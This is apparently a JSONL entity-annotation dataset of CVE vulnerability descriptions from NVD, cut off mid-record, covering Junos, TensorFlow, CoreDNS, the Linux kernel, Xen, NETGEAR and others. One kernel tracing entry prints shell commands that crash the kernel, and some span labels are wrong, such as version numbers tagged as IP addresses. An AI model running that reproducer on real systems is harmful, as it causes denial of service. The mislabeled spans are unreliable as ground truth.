{"text": "A buffer overflow vulnerability in the TCP/IP stack of Juniper Networks Junos OS allows an attacker to send specific sequences of packets to the device thereby causing a Denial of Service (DoS). By repeatedly sending these sequences of packets to the device, an attacker can sustain the Denial of Service (DoS) condition. The device will abnormally shut down as a result of these sent packets. A potential indicator of compromise will be the following message in the log files: \"eventd[13955]: SYSTEM_ABNORMAL_SHUTDOWN: System abnormally shut down\" These issue are only triggered by traffic destined to the device. Transit traffic will not trigger these issues. This issue affects: Juniper Networks Junos OS 12.3 versions prior to 12.3R12-S19; 15.1 versions prior to 15.1R7-S10; 16.1 version 16.1R1 and later versions; 16.2 version 16.2R1 and later versions; 17.1 version 17.1R1 and later versions; 17.2 version 17.2R1 and later versions; 17.3 versions prior to 17.3R3-S12; 17.4 version 17.4R1 and later versions; 18.1 versions prior to 18.1R3-S13; 18.2 version 18.2R1 and later versions; 18.3 versions prior to 18.3R3-S5; 18.4 versions prior to 18.4R2-S9, 18.4R3-S9; 19.1 versions prior to 19.1R3-S6; 19.2 versions prior to 19.2R1-S7, 19.2R3-S3; 19.3 versions prior to 19.3R2-S7, 19.3R3-S3; 19.4 versions prior to 19.4R3-S5; 20.1 versions prior to 20.1R2-S2, 20.1R3-S1; 20.2 versions prior to 20.2R3-S2; 20.3 versions prior to 20.3R3; 20.4 versions prior to 20.4R2-S1, 20.4R3; 21.1 versions prior to 21.1R1-S1, 21.1R2; 21.2 versions prior to 21.2R1-S1, 21.2R2.", "spans": {"ORGANIZATION: Juniper": [[55, 62], [682, 689]], "VULNERABILITY: Denial of Service": [[170, 187], [287, 304]], "VULNERABILITY: buffer overflow": [[2, 17]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0283"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. An attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.CTCGreedyDecoder`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/1615440b17b364b875eb06f43d087381f1460a65/tensorflow/core/kernels/ctc_decoder_ops.cc#L37-L50) has a `CHECK_LT` inserted to validate some invariants. When this condition is false, the program aborts, instead of returning a valid error to the user. This abnormal termination can be weaponized in denial of service attacks. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/1615440b17b364b875eb06f43d087381f1460a65/tensorflow/core/kernels/ctc_decoder_ops.cc#L37-L50": [[203, 340]], "VULNERABILITY: denial of service": [[97, 114], [542, 559]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29543"}}
{"text": "CoreDNS is a DNS server that chains plugins. In versions prior to 1.12.2, a Denial of Service (DoS) vulnerability exists in the CoreDNS DNS-over-QUIC (DoQ) server implementation. The server previously created a new goroutine for every incoming QUIC stream without imposing any limits on the number of concurrent streams or goroutines. A remote, unauthenticated attacker could open a large number of streams, leading to uncontrolled memory consumption and eventually causing an Out Of Memory (OOM) crash — especially in containerized or memory-constrained environments. The patch in version 1.12.2 introduces two key mitigation mechanisms: `max_streams`, which caps the number of concurrent QUIC streams per connection with a default value of `256`; and `worker_pool_size`, which Introduces a server-wide, bounded worker pool to process incoming streams with a default value of `1024`. This eliminates the 1:1 stream-to-goroutine model and ensures that CoreDNS remains resilient under high concurrency.  Some workarounds are available for those who are unable to upgrade. Disable QUIC support by removing or commenting out the `quic://` block in the Corefile, use container runtime resource limits to detect and isolate excessive memory usage, and/or monitor QUIC connection patterns and alert on anomalies.", "spans": {"VULNERABILITY: Denial of Service": [[76, 93]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-47950"}}
{"text": "The Log4j1XmlLayout from the Apache Log4j 1-to-Log4j 2 bridge fails to escape characters forbidden by the XML 1.0 standard, producing malformed XML output. Conforming XML parsers are required to reject documents containing such characters with a fatal error, which may cause downstream log processing systems to drop or fail to index affected records.\n\nTwo groups of users are affected:\n\n  *  Those using Log4j1XmlLayout directly in a Log4j Core 2 configuration file.\n  *  Those using the Log4j 1 configuration compatibility layer with org.apache.log4j.xml.XMLLayout specified as the layout class.\n\n\nUsers are advised to upgrade to Apache Log4j 1-to-Log4j 2 bridge version 2.25.4, which corrects this issue.\n\nNote: The Apache Log4j 1-to-Log4j 2 bridge is deprecated and will not be present in Log4j 3. Users are encouraged to consult the  Log4j 1 to Log4j 2 migration guide https://logging.apache.org/log4j/2.x/migrate-from-log4j1.html , and specifically the section on eliminating reliance on the bridge.", "spans": {"URL: https://logging.apache.org/log4j/2.x/migrate-from-log4j1.html": [[874, 935]], "FILEPATH: log4j.xml": [[547, 556]], "SYSTEM: Apache Log4j": [[29, 41], [632, 644], [719, 731]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34479"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncxl/region: Do not try to cleanup after cxl_region_setup_targets() fails\n\nCommit 5e42bcbc3fef (\"cxl/region: decrement ->nr_targets on error in\ncxl_region_attach()\") tried to avoid 'eiw' initialization errors when\n->nr_targets exceeded 16, by just decrementing ->nr_targets when\ncxl_region_setup_targets() failed.\n\nCommit 86987c766276 (\"cxl/region: Cleanup target list on attach error\")\nextended that cleanup to also clear cxled->pos and p->targets[pos]. The\ninitialization error was incidentally fixed separately by:\nCommit 8d4285425714 (\"cxl/region: Fix port setup uninitialized variable\nwarnings\") which was merged a few days after 5e42bcbc3fef.\n\nBut now the original cleanup when cxl_region_setup_targets() fails\nprevents endpoint and switch decoder resources from being reused:\n\n1) the cleanup does not set the decoder's region to NULL, which results\n   in future dpa_size_store() calls returning -EBUSY\n2) the decoder is not properly freed, which results in future commit\n   errors associated with the upstream switch\n\nNow that the initialization errors were fixed separately, the proper\ncleanup for this case is to just return immediately. Then the resources\nassociated with this target get cleanup up as normal when the failed\nregion is deleted.\n\nThe ->nr_targets decrement in the error case also helped prevent\na p->targets[] array overflow, so add a new check to prevent against\nthat overflow.\n\nTested by trying to create an invalid region for a 2 switch * 2 endpoint\ntopology, and then following up with creating a valid region.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52792"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: fix use-after-free on source server when doing inter-server copy\n\nUse-after-free occurred when the laundromat tried to free expired\ncpntf_state entry on the s2s_cp_stateids list after inter-server\ncopy completed. The sc_cp_list that the expired copy state was\ninserted on was already freed.\n\nWhen COPY completes, the Linux client normally sends LOCKU(lock_state x),\nFREE_STATEID(lock_state x) and CLOSE(open_state y) to the source server.\nThe nfs4_put_stid call from nfsd4_free_stateid cleans up the copy state\nfrom the s2s_cp_stateids list before freeing the lock state's stid.\n\nHowever, sometimes the CLOSE was sent before the FREE_STATEID request.\nWhen this happens, the nfsd4_close_open_stateid call from nfsd4_close\nfrees all lock states on its st_locks list without cleaning up the copy\nstate on the sc_cp_list list. When the time the FREE_STATEID arrives the\nserver returns BAD_STATEID since the lock state was freed. This causes\nthe use-after-free error to occur when the laundromat tries to free\nthe expired cpntf_state.\n\nThis patch adds a call to nfs4_free_cpntf_statelist in\nnfsd4_close_open_stateid to clean up the copy state before calling\nfree_ol_stateid_reaplist to free the lock state's stid on the reaplist.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[392, 397]], "VULNERABILITY: use-after-free": [[79, 93], [1016, 1030]], "VULNERABILITY: Use-after-free": [[141, 155]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50241"}}
{"text": "An issue was discovered in Xen through 4.14.x. The PCI passthrough code improperly uses register data. Code paths in Xen's MSI handling have been identified that act on unsanitized values read back from device hardware registers. While devices strictly compliant with PCI specifications shouldn't be able to affect these registers, experience shows that it's very common for devices to have out-of-spec \"backdoor\" operations that can affect the result of these reads. A not fully trusted guest may be able to crash Xen, leading to a Denial of Service (DoS) for the entire system. Privilege escalation and information leaks cannot be excluded. All versions of Xen supporting PCI passthrough are affected. Only x86 systems are vulnerable. Arm systems are not vulnerable. Only guests with passed through PCI devices may be able to leverage the vulnerability. Only systems passing through devices with out-of-spec (\"backdoor\") functionality can cause issues. Experience shows that such out-of-spec functionality is common; unless you have reason to believe that your device does not have such functionality, it's better to assume that it does.", "spans": {"SYSTEM: Xen": [[27, 30], [117, 120], [515, 518], [659, 662]], "VULNERABILITY: Privilege escalation": [[580, 600]], "VULNERABILITY: Denial of Service": [[533, 550]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-25595"}}
{"text": "Certain NETGEAR devices are affected by incorrect configuration of security settings. This affects D3600 before 1.0.0.72, D6000 before 1.0.0.72, D6200 before 1.1.00.34, D6220 before 1.0.0.52, D6400 before 1.0.0.86, D7000 before 1.0.1.74, D7000v2 before 1.0.0.53, D7800 before 1.0.1.56, D8500 before 1.0.3.44, DC112A before 1.0.0.42, DGN2200Bv4 before 1.0.0.109, DGN2200v4 before 1.0.0.110, DM200 before 1.0.0.61, EX3700 before 1.0.0.76, EX3800 before 1.0.0.76, EX6120 before 1.0.0.46, EX6130 before 1.0.0.28, EX7000 before 1.0.1.78, PR2000 before 1.0.0.28, R6220 before 1.1.0.100, R6230 before 1.1.0.100, R6250 before 1.0.4.34, R6300v2 before 1.0.4.34, R6400 before 1.0.1.46, R6400v2 before 1.0.2.66, R6700v3 before 1.0.2.66, R6700 before 1.0.2.6, R6900 before 1.0.2.6, R7000 before 1.0.9.34, R7100LG before 1.0.0.50, R7500v2 before 1.0.3.40, R7900P before 1.4.1.50, R8000P before 1.4.1.50, R8900 before 1.0.4.12, R9000 before 1.0.4.12, RBK20 before 2.3.0.28, RBR20 before 2.3.0.28, RBS20 before 2.3.0.28, RBK40 before 2.3.0.28, RBR40 before 2.3.0.28, RBS40 before 2.3.0.28, RBK50 before 2.3.0.32, RBR50 before 2.3.0.32, RBS50 before 2.3.0.32, WN3000RPv2 before 1.0.0.78, WNDR3400v3 before 1.0.1.24, WNR2000v5 before 1.0.0.70, WNR2020 before 1.1.0.62, and XR500 before 2.3.2.56.", "spans": {"IP_ADDRESS: 1.0.0.72": [[112, 120], [135, 143]], "IP_ADDRESS: 1.1.00.34": [[158, 167]], "IP_ADDRESS: 1.0.0.52": [[182, 190]], "IP_ADDRESS: 1.0.0.86": [[205, 213]], "IP_ADDRESS: 1.0.1.74": [[228, 236]], "IP_ADDRESS: 1.0.0.53": [[253, 261]], "IP_ADDRESS: 1.0.1.56": [[276, 284]], "IP_ADDRESS: 1.0.3.44": [[299, 307]], "IP_ADDRESS: 1.0.0.42": [[323, 331]], "IP_ADDRESS: 1.0.0.109": [[351, 360]], "IP_ADDRESS: 1.0.0.110": [[379, 388]], "IP_ADDRESS: 1.0.0.61": [[403, 411]], "IP_ADDRESS: 1.0.0.76": [[427, 435], [451, 459]], "IP_ADDRESS: 1.0.0.46": [[475, 483]], "IP_ADDRESS: 1.0.0.28": [[499, 507], [547, 555]], "IP_ADDRESS: 1.0.1.78": [[523, 531]], "IP_ADDRESS: 1.1.0.100": [[570, 579], [594, 603]], "IP_ADDRESS: 1.0.4.34": [[618, 626], [643, 651]], "IP_ADDRESS: 1.0.1.46": [[666, 674]], "IP_ADDRESS: 1.0.2.66": [[691, 699], [716, 724]], "IP_ADDRESS: 1.0.2.6": [[739, 746], [761, 768]], "IP_ADDRESS: 1.0.9.34": [[783, 791]], "IP_ADDRESS: 1.0.0.50": [[808, 816]], "IP_ADDRESS: 1.0.3.40": [[833, 841]], "IP_ADDRESS: 1.4.1.50": [[857, 865], [881, 889]], "IP_ADDRESS: 1.0.4.12": [[904, 912], [927, 935]], "IP_ADDRESS: 2.3.0.28": [[950, 958], [973, 981], [996, 1004], [1019, 1027], [1042, 1050], [1065, 1073]], "IP_ADDRESS: 2.3.0.32": [[1088, 1096], [1111, 1119], [1134, 1142]], "IP_ADDRESS: 1.0.0.78": [[1162, 1170]], "IP_ADDRESS: 1.0.1.24": [[1190, 1198]], "IP_ADDRESS: 1.0.0.70": [[1217, 1225]], "IP_ADDRESS: 1.1.0.62": [[1242, 1250]], "IP_ADDRESS: 2.3.2.56": [[1269, 1277]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-45641"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Do not let histogram values have some modifiers\n\nHistogram values can not be strings, stacktraces, graphs, symbols,\nsyscalls, or grouped in buckets or log. Give an error if a value is set to\ndo so.\n\nNote, the histogram code was not prepared to handle these modifiers for\nhistograms and caused a bug.\n\nMark Rutland reported:\n\n # echo 'p:copy_to_user __arch_copy_to_user n=$arg2' >> /sys/kernel/tracing/kprobe_events\n # echo 'hist:keys=n:vals=hitcount.buckets=8:sort=hitcount' > /sys/kernel/tracing/events/kprobes/copy_to_user/trigger\n # cat /sys/kernel/tracing/events/kprobes/copy_to_user/hist\n[  143.694628] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000\n[  143.695190] Mem abort info:\n[  143.695362]   ESR = 0x0000000096000004\n[  143.695604]   EC = 0x25: DABT (current EL), IL = 32 bits\n[  143.695889]   SET = 0, FnV = 0\n[  143.696077]   EA = 0, S1PTW = 0\n[  143.696302]   FSC = 0x04: level 0 translation fault\n[  143.702381] Data abort info:\n[  143.702614]   ISV = 0, ISS = 0x00000004\n[  143.702832]   CM = 0, WnR = 0\n[  143.703087] user pgtable: 4k pages, 48-bit VAs, pgdp=00000000448f9000\n[  143.703407] [0000000000000000] pgd=0000000000000000, p4d=0000000000000000\n[  143.704137] Internal error: Oops: 0000000096000004 [#1] PREEMPT SMP\n[  143.704714] Modules linked in:\n[  143.705273] CPU: 0 PID: 133 Comm: cat Not tainted 6.2.0-00003-g6fc512c10a7c #3\n[  143.706138] Hardware name: linux,dummy-virt (DT)\n[  143.706723] pstate: 80000005 (Nzcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[  143.707120] pc : hist_field_name.part.0+0x14/0x140\n[  143.707504] lr : hist_field_name.part.0+0x104/0x140\n[  143.707774] sp : ffff800008333a30\n[  143.707952] x29: ffff800008333a30 x28: 0000000000000001 x27: 0000000000400cc0\n[  143.708429] x26: ffffd7a653b20260 x25: 0000000000000000 x24: ffff10d303ee5800\n[  143.708776] x23: ffffd7a6539b27b0 x22: ffff10d303fb8c00 x21: 0000000000000001\n[  143.709127] x20: ffff10d303ec2000 x19: 0000000000000000 x18: 0000000000000000\n[  143.709478] x17: 0000000000000000 x16: 0000000000000000 x15: 0000000000000000\n[  143.709824] x14: 0000000000000000 x13: 203a6f666e692072 x12: 6567676972742023\n[  143.710179] x11: 0a230a6d6172676f x10: 000000000000002c x9 : ffffd7a6521e018c\n[  143.710584] x8 : 000000000000002c x7 : 7f7f7f7f7f7f7f7f x6 : 000000000000002c\n[  143.710915] x5 : ffff10d303b0103e x4 : ffffd7a653b20261 x3 : 000000000000003d\n[  143.711239] x2 : 0000000000020001 x1 : 0000000000000001 x0 : 0000000000000000\n[  143.711746] Call trace:\n[  143.712115]  hist_field_name.part.0+0x14/0x140\n[  143.712642]  hist_field_name.part.0+0x104/0x140\n[  143.712925]  hist_field_print+0x28/0x140\n[  143.713125]  event_hist_trigger_print+0x174/0x4d0\n[  143.713348]  hist_show+0xf8/0x980\n[  143.713521]  seq_read_iter+0x1bc/0x4b0\n[  143.713711]  seq_read+0x8c/0xc4\n[  143.713876]  vfs_read+0xc8/0x2a4\n[  143.714043]  ksys_read+0x70/0xfc\n[  143.714218]  __arm64_sys_read+0x24/0x30\n[  143.714400]  invoke_syscall+0x50/0x120\n[  143.714587]  el0_svc_common.constprop.0+0x4c/0x100\n[  143.714807]  do_el0_svc+0x44/0xd0\n[  143.714970]  el0_svc+0x2c/0x84\n[  143.715134]  el0t_64_sync_handler+0xbc/0x140\n[  143.715334]  el0t_64_sync+0x190/0x194\n[  143.715742] Code: a9bd7bfd 910003fd a90153f3 aa0003f3 (f9400000)\n[  143.716510] ---[ end trace 0000000000000000 ]---\nSegmentation fault", "spans": {"FILEPATH: /sys/kernel/tracing/kprobe_events": [[459, 492]], "FILEPATH: /sys/kernel/tracing/events/kprobes/copy_to_user/trigger": [[555, 610]], "FILEPATH: /sys/kernel/tracing/events/kprobes/copy_to_user/hist": [[618, 670]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[710, 734]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53093"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit Reader 9.7.0.29455. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of form Annotation objects within AcroForms. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-9862.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8857"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/vmscan: don't try to reclaim hwpoison folio\n\nSyzkaller reports a bug as follows:\n\nInjecting memory failure for pfn 0x18b00e at process virtual address 0x20ffd000\nMemory failure: 0x18b00e: dirty swapcache page still referenced by 2 users\nMemory failure: 0x18b00e: recovery action for dirty swapcache page: Failed\npage: refcount:2 mapcount:0 mapping:0000000000000000 index:0x20ffd pfn:0x18b00e\nmemcg:ffff0000dd6d9000\nanon flags: 0x5ffffe00482011(locked|dirty|arch_1|swapbacked|hwpoison|node=0|zone=2|lastcpupid=0xfffff)\nraw: 005ffffe00482011 dead000000000100 dead000000000122 ffff0000e232a7c9\nraw: 0000000000020ffd 0000000000000000 00000002ffffffff ffff0000dd6d9000\npage dumped because: VM_BUG_ON_FOLIO(!folio_test_uptodate(folio))\n------------[ cut here ]------------\nkernel BUG at mm/swap_state.c:184!\nInternal error: Oops - BUG: 00000000f2000800 [#1] SMP\nModules linked in:\nCPU: 0 PID: 60 Comm: kswapd0 Not tainted 6.6.0-gcb097e7de84e #3\nHardware name: linux,dummy-virt (DT)\npstate: 80400005 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : add_to_swap+0xbc/0x158\nlr : add_to_swap+0xbc/0x158\nsp : ffff800087f37340\nx29: ffff800087f37340 x28: fffffc00052c0380 x27: ffff800087f37780\nx26: ffff800087f37490 x25: ffff800087f37c78 x24: ffff800087f377a0\nx23: ffff800087f37c50 x22: 0000000000000000 x21: fffffc00052c03b4\nx20: 0000000000000000 x19: fffffc00052c0380 x18: 0000000000000000\nx17: 296f696c6f662865 x16: 7461646f7470755f x15: 747365745f6f696c\nx14: 6f6621284f494c4f x13: 0000000000000001 x12: ffff600036d8b97b\nx11: 1fffe00036d8b97a x10: ffff600036d8b97a x9 : dfff800000000000\nx8 : 00009fffc9274686 x7 : ffff0001b6c5cbd3 x6 : 0000000000000001\nx5 : ffff0000c25896c0 x4 : 0000000000000000 x3 : 0000000000000000\nx2 : 0000000000000000 x1 : ffff0000c25896c0 x0 : 0000000000000000\nCall trace:\n add_to_swap+0xbc/0x158\n shrink_folio_list+0x12ac/0x2648\n shrink_inactive_list+0x318/0x948\n shrink_lruvec+0x450/0x720\n shrink_node_memcgs+0x280/0x4a8\n shrink_node+0x128/0x978\n balance_pgdat+0x4f0/0xb20\n kswapd+0x228/0x438\n kthread+0x214/0x230\n ret_from_fork+0x10/0x20\n\nI can reproduce this issue with the following steps:\n\n1) When a dirty swapcache page is isolated by reclaim process and the\n   page isn't locked, inject memory failure for the page. \n   me_swapcache_dirty() clears uptodate flag and tries to delete from lru,\n   but fails.  Reclaim process will put the hwpoisoned page back to lru.\n\n2) The process that maps the hwpoisoned page exits, the page is deleted\n   the page will never be freed and will be in the lru forever.\n\n3) If we trigger a reclaim again and tries to reclaim the page,\n   add_to_swap() will trigger VM_BUG_ON_FOLIO due to the uptodate flag is\n   cleared.\n\nTo fix it, skip the hwpoisoned page in shrink_folio_list().  Besides, the\nhwpoison folio may not be unmapped by hwpoison_user_mappings() yet, unmap\nit in shrink_folio_list(), otherwise the folio will fail to be unmaped by\nhwpoison_user_mappings() since the folio isn't in lru list.", "spans": {"FILEPATH: swap_state.c": [[856, 868]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37834"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring: Fix a null-ptr-deref in io_tctx_exit_cb()\n\nSyzkaller reports a NULL deref bug as follows:\n\n BUG: KASAN: null-ptr-deref in io_tctx_exit_cb+0x53/0xd3\n Read of size 4 at addr 0000000000000138 by task file1/1955\n\n CPU: 1 PID: 1955 Comm: file1 Not tainted 6.1.0-rc7-00103-gef4d3ea40565 #75\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.11.0-2.el7 04/01/2014\n Call Trace:\n  <TASK>\n  dump_stack_lvl+0xcd/0x134\n  ? io_tctx_exit_cb+0x53/0xd3\n  kasan_report+0xbb/0x1f0\n  ? io_tctx_exit_cb+0x53/0xd3\n  kasan_check_range+0x140/0x190\n  io_tctx_exit_cb+0x53/0xd3\n  task_work_run+0x164/0x250\n  ? task_work_cancel+0x30/0x30\n  get_signal+0x1c3/0x2440\n  ? lock_downgrade+0x6e0/0x6e0\n  ? lock_downgrade+0x6e0/0x6e0\n  ? exit_signals+0x8b0/0x8b0\n  ? do_raw_read_unlock+0x3b/0x70\n  ? do_raw_spin_unlock+0x50/0x230\n  arch_do_signal_or_restart+0x82/0x2470\n  ? kmem_cache_free+0x260/0x4b0\n  ? putname+0xfe/0x140\n  ? get_sigframe_size+0x10/0x10\n  ? do_execveat_common.isra.0+0x226/0x710\n  ? lockdep_hardirqs_on+0x79/0x100\n  ? putname+0xfe/0x140\n  ? do_execveat_common.isra.0+0x238/0x710\n  exit_to_user_mode_prepare+0x15f/0x250\n  syscall_exit_to_user_mode+0x19/0x50\n  do_syscall_64+0x42/0xb0\n  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n RIP: 0023:0x0\n Code: Unable to access opcode bytes at 0xffffffffffffffd6.\n RSP: 002b:00000000fffb7790 EFLAGS: 00000200 ORIG_RAX: 000000000000000b\n RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000\n RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\n RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000\n R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000\n R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000\n  </TASK>\n Kernel panic - not syncing: panic_on_warn set ...\n\nThis happens because the adding of task_work from io_ring_exit_work()\nisn't synchronized with canceling all work items from eg exec. The\nexecution of the two are ordered in that they are both run by the task\nitself, but if io_tctx_exit_cb() is queued while we're canceling all\nwork items off exec AND gets executed when the task exits to userspace\nrather than in the main loop in io_uring_cancel_generic(), then we can\nfind current->io_uring == NULL and hit the above crash.\n\nIt's safe to add this NULL check here, because the execution of the two\npaths are done by the task itself.\n\n[axboe: add code comment and also put an explanation in the commit msg]", "spans": {"FILEPATH: /01/2014": [[440, 448]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[380, 384]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48983"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/rw: fix missing NOWAIT check for O_DIRECT start write\n\nWhen io_uring starts a write, it'll call kiocb_start_write() to bump the\nsuper block rwsem, preventing any freezes from happening while that\nwrite is in-flight. The freeze side will grab that rwsem for writing,\nexcluding any new writers from happening and waiting for existing writes\nto finish. But io_uring unconditionally uses kiocb_start_write(), which\nwill block if someone is currently attempting to freeze the mount point.\nThis causes a deadlock where freeze is waiting for previous writes to\ncomplete, but the previous writes cannot complete, as the task that is\nsupposed to complete them is blocked waiting on starting a new write.\nThis results in the following stuck trace showing that dependency with\nthe write blocked starting a new write:\n\ntask:fio             state:D stack:0     pid:886   tgid:886   ppid:876\nCall trace:\n __switch_to+0x1d8/0x348\n __schedule+0x8e8/0x2248\n schedule+0x110/0x3f0\n percpu_rwsem_wait+0x1e8/0x3f8\n __percpu_down_read+0xe8/0x500\n io_write+0xbb8/0xff8\n io_issue_sqe+0x10c/0x1020\n io_submit_sqes+0x614/0x2110\n __arm64_sys_io_uring_enter+0x524/0x1038\n invoke_syscall+0x74/0x268\n el0_svc_common.constprop.0+0x160/0x238\n do_el0_svc+0x44/0x60\n el0_svc+0x44/0xb0\n el0t_64_sync_handler+0x118/0x128\n el0t_64_sync+0x168/0x170\nINFO: task fsfreeze:7364 blocked for more than 15 seconds.\n      Not tainted 6.12.0-rc5-00063-g76aaf945701c #7963\n\nwith the attempting freezer stuck trying to grab the rwsem:\n\ntask:fsfreeze        state:D stack:0     pid:7364  tgid:7364  ppid:995\nCall trace:\n __switch_to+0x1d8/0x348\n __schedule+0x8e8/0x2248\n schedule+0x110/0x3f0\n percpu_down_write+0x2b0/0x680\n freeze_super+0x248/0x8a8\n do_vfs_ioctl+0x149c/0x1b18\n __arm64_sys_ioctl+0xd0/0x1a0\n invoke_syscall+0x74/0x268\n el0_svc_common.constprop.0+0x160/0x238\n do_el0_svc+0x44/0x60\n el0_svc+0x44/0xb0\n el0t_64_sync_handler+0x118/0x128\n el0t_64_sync+0x168/0x170\n\nFix this by having the io_uring side honor IOCB_NOWAIT, and only attempt a\nblocking grab of the super block rwsem if it isn't set. For normal issue\nwhere IOCB_NOWAIT would always be set, this returns -EAGAIN which will\nhave io_uring core issue a blocking attempt of the write. That will in\nturn also get completions run, ensuring forward progress.\n\nSince freezing requires CAP_SYS_ADMIN in the first place, this isn't\nsomething that can be triggered by a regular user.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53052"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915: Fix request ref counting during error capture & debugfs dump\n\nWhen GuC support was added to error capture, the reference counting\naround the request object was broken. Fix it up.\n\nThe context based search manages the spinlocking around the search\ninternally. So it needs to grab the reference count internally as\nwell. The execlist only request based search relies on external\nlocking, so it needs an external reference count but within the\nspinlock not outside it.\n\nThe only other caller of the context based search is the code for\ndumping engine state to debugfs. That code wasn't previously getting\nan explicit reference at all as it does everything while holding the\nexeclist specific spinlock. So, that needs updaing as well as that\nspinlock doesn't help when using GuC submission. Rather than trying to\nconditionally get/put depending on submission model, just change it to\nalways do the get/put.\n\nv2: Explicitly document adding an extra blank line in some dense code\n(Andy Shevchenko). Fix multiple potential null pointer derefs in case\nof no request found (some spotted by Tvrtko, but there was more!).\nAlso fix a leaked request in case of !started and another in\n__guc_reset_context now that intel_context_find_active_request is\nactually reference counting the returned request.\nv3: Add a _get suffix to intel_context_find_active_request now that it\ngrabs a reference (Daniele).\nv4: Split the intel_guc_find_hung_context change to a separate patch\nand rename intel_context_find_active_request_get to\nintel_context_get_active_request (Tvrtko).\nv5: s/locking/reference counting/ in commit message (Tvrtko)\n\n(cherry picked from commit 3700e353781e27f1bc7222f51f2cc36cbeb9b4ec)", "spans": {"HASH: 3700e353781e27f1bc7222f51f2cc36cbeb9b4ec": [[1720, 1760]], "FILEPATH: /locking/reference": [[1636, 1654]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52981"}}
{"text": "Vulnerability in the Oracle Depot Repair product of Oracle E-Business Suite (component: Estimate and Actual Charges). Supported versions that are affected are 12.1.1-12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Depot Repair. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Depot Repair, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Depot Repair accessible data as well as unauthorized update, insert or delete access to some of Oracle Depot Repair accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [52, 58], [282, 288], [420, 426], [613, 619], [716, 722]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2846"}}
{"text": "The web administration interface in NetModule Router Software (NRSW) 4.6 before 4.6.0.106 and 4.8 before 4.8.0.101 executes an OS command constructed with unsanitized user input: shell metacharacters in the /admin/gnssAutoAlign.php device_id parameter. This occurs because another thread can be started before the trap that triggers the cleanup function. A successful exploit could allow an authenticated user to execute arbitrary commands with elevated privileges. NOTE: this is different from CVE-2023-0861 and CVE-2023-0862, which were fixed in version 4.6.0.105.", "spans": {"CVE_ID: CVE-2023-0861": [[495, 508]], "CVE_ID: CVE-2023-0862": [[513, 526]], "IP_ADDRESS: 4.6.0.106": [[80, 89]], "IP_ADDRESS: 4.8.0.101": [[105, 114]], "IP_ADDRESS: 4.6.0.105": [[556, 565]], "FILEPATH: /admin/gnssAutoAlign.php": [[207, 231]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-46306"}}
{"text": "A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing. With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection. This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2. The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the 